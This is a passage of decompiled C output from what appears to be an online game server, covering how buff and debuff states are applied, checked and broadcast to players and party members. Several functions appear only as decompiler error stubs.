"AbnormalStateContainer::AbnormalStateList::asl_IsHereBad"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->asl_List.l_Array[v1->asl_List.l_Finger.store].ls_Next; while ( 1 ) { v3 = v1->asl_List.l_MaxSize; if ( v2 >= v3 ) break; v4 = v1->asl_List.l_Array; v5 = v2; v6 = v2 < v3; v2 = v4[v2].ls_Next; if ( v6 ) { v7 = (int)&v4[v5]; if ( *(_BYTE *)(v7 + 8) ) { v8 = *(_DWORD *)v7; if ( v8 ) { if ( *((_DWORD *)&unk_6B848C + 3 * *(_DWORD *)(v8 + 4)) && **((_DWORD **)&unk_6B848C + 3 * *(_DWORD *)(v8 + 4)) ) { v9 = *(_DWORD *)(**((_DWORD **)&unk_6B848C + 3 * *(_DWORD *)(v8 + 4)) + 34); if ( v9 < 609 ) { v10 = dword_6BC994[v9]; if ( v10 && *(_DWORD *)(*(_DWORD *)v10 + 240) != 1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereBad"); return 1; } } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", v9); } } } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereBad"); return 0; } //----- (00409650) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin(AbnormalStateContainer::AbstateListInObject *this, #734 *me) { AbnormalStateContainer::AbstateListInObject *v2; // edi@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // ecx@3 int v6; // eax@3 bool v7; // cf@3 int v8; // edx@4 char v9; // al@4 int v10; // ecx@4 AbnormalStateContainer::AbstateElementInObject *v11; // ecx@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->asl_List.l_Array[v2->asl_List.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->asl_List.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->asl_List.l_Array; v6 = v3; v7 = v3 < v4; v3 = v5[v3].ls_Next; if ( !v7 ) break; v8 = 3 * v6; v9 = v5[v6].ls_IsActiv; v10 = (int)&v5[4 * v8 / 0xCu]; if ( !v9 ) break; v11 = *(AbnormalStateContainer::AbstateElementInObject **)v10; if ( !v11 ) break; AbnormalStateContainer::AbstateElementInObject::aeo_InformAfterLogin(v11, me); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin"); } //----- (00409740) -------------------------------------------------------- #error "409740: undefined or illegal type '#615' (funcsize=255)" //----- (00409A90) -------------------------------------------------------- #error "409A90: undefined or illegal type '#615' (funcsize=236)" //----- (00409DC0) -------------------------------------------------------- #error "409DC0: undefined or illegal type '#593' (funcsize=168)" //----- (00409FD0) -------------------------------------------------------- #error "409FD0: undefined or illegal type '#615' (funcsize=115)" //----- (0040A150) -------------------------------------------------------- #error "40A150: undefined or illegal type '#593' (funcsize=136)" //----- (0040A300) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_AttachObject(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #593 *pTarget) { __int16 v3; // bx@4 void *v4; // eax@4 int v5; // edi@4 if ( pInObject && pTarget && AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_6B848C + 3 * pInObject->aeo_Index) + 36 * pInObject->aeo_Strength + 8), SAA_METASKIN) ) { v3 = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_6B848C + 3 * pInObject->aeo_Index) + 36 * pInObject->aeo_Strength + 8), SAA_METASKIN); v4 = (void *)ShineDynamicCast(pTarget); v5 = (int)v4; if ( v4 ) { ShineObjectClass::ShinePlayer::sp_StateChangeToNormal(v4); ShineObjectClass::ShinePlayer::sp_SkinPolymorph(v5, v3, pInObject->aeo_Index); } } } //----- (0040A380) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_DetachObject(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #593 *pTarget) { AbnormalStateContainer::SubAbnormalStateActor *v3; // ebx@1 void *v4; // eax@4 void *v5; // edi@4 int v6; // eax@8 v3 = this; if ( pInObject && pTarget ) { if ( AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_6B848C + 3 * pInObject->aeo_Index) + 36 * pInObject->aeo_Strength + 8), SAA_RELESEACTION) ) { v4 = (void *)ShineDynamicCast(pTarget); v5 = v4; if ( !v4 ) return; if ( ShineObjectClass::ShineMobileObject::smo_IsActiveMode(v4) ) v3->vfptr->sasa_Routine(v3, pInObject, (#615 *)v5, pInObject->aeo_Index); } if ( AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_6B848C + 3 * pInObject->aeo_Index) + 36 * pInObject->aeo_Strength + 8), SAA_METASKIN) ) { v6 = (int)ShineDynamicCast(pTarget); if ( v6 ) ShineObjectClass::ShinePlayer::sp_SkinPolymorph(v6, -1, pInObject->aeo_Index); } } } //----- (0040A440) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_smo_AbStateKeepTimeAdd(void *this, int substate, int millisec) { void *v3; // esi@1 int v4; // ebp@1 unsigned __int16 i; // ax@1 unsigned __int16 v6; // di@3 int v7; // ebx@4 unsigned __int16 v8; // si@4 bool v9; // cf@4 int v10; // eax@4 int v11; // ecx@5 int v12; // edx@6 int v13; // eax@10 int v14; // edi@11 int v15; // ecx@13 char *v16; // eax@13 int v17; // ecx@14 int v18; // ecx@15 int v19; // eax@19 void *v20; // [sp+14h] [bp-20h]@1 unsigned __int16 v21; // [sp+1Eh] [bp-16h]@4 v3 = this; v20 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_AbStateKeepTimeAdd"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_smo_AbStateKeepTimeAdd"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1320))(v3); for ( i = *(_WORD *)(*(_DWORD *)(v4 + 3248) + 12 * *(_WORD *)(v4 + 3254) + 4); ; i = v21 ) { v6 = *(_WORD *)(v4 + 3244); if ( i >= v6 ) break; v7 = i; v8 = i; v9 = i < v6; v10 = *(_DWORD *)(v4 + 3248); v21 = *(_WORD *)(v10 + 12 * v7 + 4); if ( v9 && (v11 = v10 + 12 * v7, *(_BYTE *)(v11 + 8)) ) v12 = *(_DWORD *)v11; else v12 = 0; if ( *(_DWORD *)(*(_DWORD *)(*((_DWORD *)&unk_6B848C + 3 * *(_DWORD *)(v12 + 4)) + 36 * *(_BYTE *)(v12 + 24) + 8) + 38) == substate ) { if ( v8 < v6 && (v13 = v10 + 12 * v7, *(_BYTE *)(v13 + 8)) ) v14 = *(_DWORD *)v13; else v14 = 0; v15 = (signed int)(1000 * (*(_DWORD *)(v14 + 32) - clockwatch.cw_CurrTick)) / 10; *(_DWORD *)(v14 + 32) += ((signed int)((unsigned __int64)(10 * millisec * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * millisec * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9258; *(_DWORD *)(v16 + 6) = millisec + v15; if ( v8 < *(_WORD *)(v4 + 3244) && (v17 = *(_DWORD *)(v4 + 3248) + 12 * v7, *(_BYTE *)(v17 + 8)) ) v18 = *(_DWORD *)v17; else v18 = 0; *(_DWORD *)(v16 + 2) = *(_DWORD *)(v18 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v19 = (*(int (__thiscall **)(void *))(*(_DWORD *)v20 + 764))(v20); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v19 + 12))(v19, v20, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_AbnormalState_Inform : Packet Too Long", 10); } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_AbStateKeepTimeAdd"); } //----- (0040A660) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateListInObject::asl_CanEnchant(AbnormalStateContainer::AbstateListInObject *this, ABSTATEINDEX abstateidx, int strength) { AbnormalStateContainer::AbstateListInObject *v3; // esi@1 signed int v4; // ebx@1 AbnormalStateContainer::AbstateElementInObject *v5; // eax@1 int v6; // edx@2 FunctionProfiler::PerformanceRecorder *v7; // ecx@2 int v9; // edi@5 int v10; // edi@7 int v11; // edi@7 int v12; // ebp@7 int v13; // eax@8 ListStruct *v14; // edx@8 unsigned __int16 v15; // si@8 unsigned __int16 v16; // cx@8 int v17; // eax@11 unsigned __int16 v18; // bx@11 bool v19; // cf@11 int v20; // eax@12 bool v21; // zf@12 int v22; // eax@12 int v23; // eax@13 int v24; // eax@15 int v25; // eax@18 int v26; // ecx@19 SubAbstatePriority::StateExchange v27; // eax@21 char *v28; // [sp-4h] [bp-24h]@2 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v30; // [sp+1Ch] [bp-4h]@1 AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *abstateidxa; // [sp+24h] [bp+4h]@7 v3 = this; _.fe_FunctionCode = "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"; v4 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v30 = 0; v5 = AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet(v3, abstateidx); if ( v5 ) { v6 = v5->aeo_Strength; --funcallanalizer.fca_stackpoint; v28 = "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"; v30 = -1; v7 = &_PerformanceRecorder; if ( v6 > strength ) { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"); return 0; } } else { if ( (signed int)abstateidx < 609 ) { v9 = dword_6BC994[abstateidx]; } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", abstateidx); v9 = 0; } v10 = v9 + 36 * strength + 8; abstateidxa = (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)v10; v11 = *(_DWORD *)v10; v12 = *(_DWORD *)(v11 + 38); if ( v12 != 28 ) { v13 = v3->asl_List.l_Finger.store; v14 = v3->asl_List.l_Array; v15 = v3->asl_List.l_MaxSize; v16 = v14[v13].ls_Next; while ( v16 < v15 ) { v17 = v16; v18 = v16; v19 = v16 < v15; v16 = v14[v16].ls_Next; if ( !v19 || (v20 = 3 * v17, v21 = v14[4 * v20 / 0xCu].ls_IsActiv == 0, v22 = (int)&v14[4 * v20 / 0xCu], v21) ) v23 = 0; else v23 = *(_DWORD *)v22; v24 = 12 * *(_DWORD *)(v23 + 4); if ( *(_WORD *)((char *)&unk_6B8490 + v24) == v12 && *(_WORD *)((char *)&unk_6B8492 + v24) == *(_BYTE *)(v11 + 42) ) { if ( v18 < v15 && (v25 = (int)&v14[v18], *(_BYTE *)(v25 + 8)) ) v26 = *(_DWORD *)v25; else v26 = 0; v27 = SubAbstatePriority::PriorityBase::bp_AbStateChange( &subabpriority, (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_6B848C + 3 * *(_DWORD *)(v26 + 4)) + 36 * *(_BYTE *)(v26 + 24) + 8), abstateidxa); if ( v27 && v27 != 1 ) { v30 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } v4 = -1; break; } v4 = -1; } } --funcallanalizer.fca_stackpoint; v30 = v4; v28 = "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"; v7 = &_PerformanceRecorder; } FunctionProfiler::PerformanceRecorder::pr_Exit(v7, v28); return 1; } //----- (0040A880) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateListInObject::asl_IsDuringEnchant(AbnormalStateContainer::AbstateListInObject *this, ABSTATEINDEX abstateidx) { AbnormalStateContainer::AbstateListInObject *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // edx@1 unsigned __int16 v5; // si@1 unsigned __int16 v6; // cx@1 int v7; // eax@3 bool v8; // cf@3 int v9; // eax@4 bool v10; // zf@4 int v11; // eax@4 int v12; // eax@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_IsDuringEnchant"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateListInObject::asl_IsDuringEnchant"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->asl_List.l_Finger.store; v4 = v2->asl_List.l_Array; v5 = v2->asl_List.l_MaxSize; v6 = v4[v3].ls_Next; while ( v6 < v5 ) { v7 = v6; v8 = v6 < v5; v6 = v4[v6].ls_Next; if ( !v8 || (v9 = 3 * v7, v10 = v4[4 * v9 / 0xCu].ls_IsActiv == 0, v11 = (int)&v4[4 * v9 / 0xCu], v10) ) v12 = 0; else v12 = *(_DWORD *)v11; if ( *(_DWORD *)(v12 + 4) == abstateidx ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_IsDuringEnchant"); return 1; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_IsDuringEnchant"); return 0; } //----- (0040A990) -------------------------------------------------------- #error "40A990: undefined or illegal type '#593' (funcsize=235)" //----- (0040ACD0) -------------------------------------------------------- #error "40ACD0: undefined or illegal type '#593' (funcsize=88)" //----- (0040ADE0) -------------------------------------------------------- #error "40ADE0: undefined or illegal type '#593' (funcsize=275)" //----- (0040B1B0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0040B200) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateListInObject::AbstateListInObject(AbnormalStateContainer::AbstateListInObject *this) { AbnormalStateContainer::AbstateListInObject *v1; // edi@1 int v2; // esi@1 signed int v3; // ecx@1 signed int v4; // eax@1 int v5; // edi@1 int v6; // edx@3 int v7; // ebp@3 int v8; // edx@3 int v9; // edx@6 int v10; // ebp@6 int v11; // edx@6 int v12; // edx@9 int v13; // ebp@9 int v14; // edx@9 int v15; // edx@12 int v16; // ebp@12 int v17; // edx@12 int v18; // edx@15 int v19; // ebp@15 int v20; // edx@15 int v21; // edx@18 int v22; // ebp@18 int v23; // edx@18 v1 = this; _eh_vector_constructor_iterator_( this, 0x6Cu, 30, (void (__thiscall *)(void *))AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject, (void (__thiscall *)(void *))AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject); v2 = (int)&v1->asl_List; v1->asl_List.vfptr = (ListVtbl *)List::_vftable_; v1->asl_List.l_ListArray = 0; List::l_MakeList(&v1->asl_List, 0x1Eu); v3 = 2; v4 = 36; v5 = (int)&v1->asl_Element[2]; do { if ( v3 - 2 < *(_WORD *)(v2 + 4) ) { v6 = *(_DWORD *)(v2 + 8); v7 = *(_DWORD *)(v6 + v4 - 36); v8 = v6 + v4 - 36; if ( !v7 ) *(_DWORD *)v8 = v5 - 216; } if ( v3 - 1 < *(_WORD *)(v2 + 4) ) { v9 = *(_DWORD *)(v2 + 8); v10 = *(_DWORD *)(v9 + v4 - 24); v11 = v9 + v4 - 24; if ( !v10 ) *(_DWORD *)v11 = v5 - 108; } if ( v3 < *(_WORD *)(v2 + 4) ) { v12 = *(_DWORD *)(v2 + 8); v13 = *(_DWORD *)(v12 + v4 - 12); v14 = v12 + v4 - 12; if ( !v13 ) *(_DWORD *)v14 = v5; } if ( v3 + 1 < *(_WORD *)(v2 + 4) ) { v15 = *(_DWORD *)(v2 + 8); v16 = *(_DWORD *)(v15 + v4); v17 = v4 + v15; if ( !v16 ) *(_DWORD *)v17 = v5 + 108; } if ( v3 + 2 < *(_WORD *)(v2 + 4) ) { v18 = *(_DWORD *)(v2 + 8); v19 = *(_DWORD *)(v18 + v4 + 12); v20 = v18 + v4 + 12; if ( !v19 ) *(_DWORD *)v20 = v5 + 216; } if ( v3 + 3 < *(_WORD *)(v2 + 4) ) { v21 = *(_DWORD *)(v2 + 8); v22 = *(_DWORD *)(v21 + v4 + 24); v23 = v21 + v4 + 24; if ( !v22 ) *(_DWORD *)v23 = v5 + 324; } v3 += 6; v5 += 648; v4 += 72; } while ( v3 - 2 < 30 ); } // 632070: using guessed type int (__stdcall *List_AbnormalStateContainer__AbstateElementInObject____vftable_[3])(__int16 hnd); //----- (0040B350) -------------------------------------------------------- #error "40B350: undefined or illegal type '#593' (funcsize=275)" //----- (0040B700) -------------------------------------------------------- #error "40B700: undefined or illegal type '#593' (funcsize=32)" //----- (0040B750) -------------------------------------------------------- #error "40B750: undefined or illegal type '#593' (funcsize=32)" //----- (0040B7A0) -------------------------------------------------------- #error "40B7A0: undefined or illegal type '#615' (funcsize=115)" //----- (0040B910) -------------------------------------------------------- #error "40B910: undefined or illegal type '#615' (funcsize=362)" //----- (0040BE60) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_smo_CanEnchant(void *this, ABSTATEINDEX abstateidx, int strength) { void *v3; // esi@1 char v4; // al@1 char v5; // bl@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_CanEnchant"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_smo_CanEnchant"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = AbnormalStateContainer::AbstateListInObject::asl_CanEnchant( (AbnormalStateContainer::AbstateListInObject *)((char *)v3 + 296), abstateidx, strength); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_CanEnchant"); return v5; } //----- (0040BF10) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0040C030) -------------------------------------------------------- void __thiscall AxialListNearScanParty::alnsp_Buffing(AxialListNearScanParty *this, int num, #593 *caster, ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime) { AxialListNearScanParty *v7; // esi@1 int v8; // ecx@1 void *v9; // esi@5 unsigned int v10; // ST14_4@6 AbnormalStateContainer::AbstateListInObject *v11; // eax@6 bool v12; // zf@8 int v13; // [sp+Ch] [bp-14h]@4 int numa; // [sp+24h] [bp+4h]@4 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialListNearScanParty::alnsp_Buffing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListNearScanParty::alnsp_Buffing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = num; if ( num >= v7->baseclass_0.alns_bp ) v8 = v7->baseclass_0.alns_bp; if ( v8 > 0 ) { numa = (int)v7->baseclass_0.alns_buffer; v13 = v8; do { v9 = *(void **)numa; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(**(_DWORD **)numa + 1152))(*(_DWORD *)numa) != 3 ) { v10 = clockwatch.cw_CurrTick; v11 = (AbnormalStateContainer::AbstateListInObject *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 1320))(v9); if ( AbnormalStateContainer::AbstateListInObject::asl_AbstateSet( v11, caster, soul, strength, sklidx, (#593 *)v9, v10, empowkeeptime, 0, 0, EF_PARTYBUFF2MEMBER) ) { ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(v9, soul, -1, strength); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v9 + 1004))(v9, soul, -1, 0); } } v12 = v13 == 1; numa += 8; --v13; } while ( !v12 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListNearScanParty::alnsp_Buffing"); } //----- (0040C170) -------------------------------------------------------- void __thiscall AxialListNearScanCoupleParty::alnsp_Buffing(AxialListNearScanCoupleParty *this, int num, #593 *caster, ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime) { AxialListNearScanCoupleParty *v7; // esi@1 int v8; // ecx@1 void *v9; // esi@5 unsigned int v10; // ST14_4@6 AbnormalStateContainer::AbstateListInObject *v11; // eax@6 bool v12; // zf@8 int v13; // [sp+Ch] [bp-14h]@4 int numa; // [sp+24h] [bp+4h]@4 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListNearScanCoupleParty::alnsp_Buffing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListNearScanCoupleParty::alnsp_Buffing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = num; if ( num >= v7->baseclass_0.alns_bp ) v8 = v7->baseclass_0.alns_bp; if ( v8 > 0 ) { numa = (int)v7->baseclass_0.alns_buffer; v13 = v8; do { v9 = *(void **)numa; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(**(_DWORD **)numa + 1152))(*(_DWORD *)numa) != 3 ) { v10 = clockwatch.cw_CurrTick; v11 = (AbnormalStateContainer::AbstateListInObject *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 1320))(v9); if ( AbnormalStateContainer::AbstateListInObject::asl_AbstateSet( v11, caster, soul, strength, sklidx, (#593 *)v9, v10, empowkeeptime, 0, 0, EF_PARTYBUFF2MEMBER) ) { ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(v9, soul, -1, strength); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v9 + 1004))(v9, soul, -1, 1); } } v12 = v13 == 1; numa += 8; --v13; } while ( !v12 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListNearScanCoupleParty::alnsp_Buffing"); } //----- (0040C2B0) -------------------------------------------------------- void __thiscall AxialListNearScanGuildAcademy::alnsga_Buffing(AxialListNearScanGuildAcademy *this, int num, #593 *caster, ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime) { AxialListNearScanGuildAcademy *v7; // esi@1 int v8; // ecx@1 void *v9; // esi@5 unsigned int v10; // ST14_4@6 AbnormalStateContainer::AbstateListInObject *v11; // eax@6 bool v12; // zf@8 int v13; // [sp+Ch] [bp-14h]@4 int numa; // [sp+24h] [bp+4h]@4 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListNearScanGuildAcademy::alnsga_Buffing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListNearScanGuildAcademy::alnsga_Buffing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = num; if ( num >= v7->baseclass_0.alns_bp ) v8 = v7->baseclass_0.alns_bp; if ( v8 > 0 ) { numa = (int)v7->baseclass_0.alns_buffer; v13 = v8; do { v9 = *(void **)numa; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(**(_DWORD **)numa + 1152))(*(_DWORD *)numa) != 3 ) { v10 = clockwatch.cw_CurrTick; v11 = (AbnormalStateContainer::AbstateListInObject *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 1320))(v9); if ( AbnormalStateContainer::AbstateListInObject::asl_AbstateSet( v11, caster, soul, strength, sklidx, (#593 *)v9, v10, empowkeeptime, 0, 0, EF_PARTYBUFF2MEMBER) ) { ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(v9, soul, -1, strength); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v9 + 1004))(v9, soul, -1, 0); } } v12 = v13 == 1; numa += 8; --v13; } while ( !v12 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListNearScanGuildAcademy::alnsga_Buffing"); } //----- (0040C3F0) -------------------------------------------------------- #error "40C3F0: undefined or illegal type '#615' (funcsize=191)" //----- (0040C6B0) -------------------------------------------------------- #error "40C6B0: undefined or illegal type '#615' (funcsize=258)" //----- (0040CA30) -------------------------------------------------------- #error "40CA30: undefined or illegal type '#615' (funcsize=165)" //----- (0040CC80) -------------------------------------------------------- #error "40CC80: undefined or illegal type 'ListArray' (funcsize=3676)" //----- (00410F00) -------------------------------------------------------- int __thiscall AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect(AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *this, SubAbstateAction action) { unsigned int v2; // eax@1 char *v3; // edx@1 v2 = 0; v3 = (char *)this->assa_Effect; while ( *(_DWORD *)v3 != action ) { ++v2; v3 += 8; if ( v2 >= 4 ) return 0; } return this->assa_Effect[v2].value; } //----- (00410F30) -------------------------------------------------------- bool __thiscall AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect(AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *this, SubAbstateAction action) { unsigned int v2; // eax@1 char *v3; // ecx@1 v2 = 0; v3 = (char *)this->assa_Effect; while ( *(_DWORD *)v3 != action ) { ++v2; v3 += 8; if ( v2 >= 4 ) return 0; } return 1; } //----- (00410F60) -------------------------------------------------------- #error "410F60: undefined or illegal type '#593' (funcsize=79)" //----- (00411040) -------------------------------------------------------- #error "411040: undefined or illegal type '#593' (funcsize=72)" //----- (004110F0) -------------------------------------------------------- #error "4110F0: undefined or illegal type '#593' (funcsize=87)" //----- (004111D0) -------------------------------------------------------- #error "4111D0: undefined or illegal type '#593' (funcsize=93)" //----- (004112B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AbnormalState_Set(#593 *this, #593 *a2, ABSTATEINDEX stateid, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, unsigned int 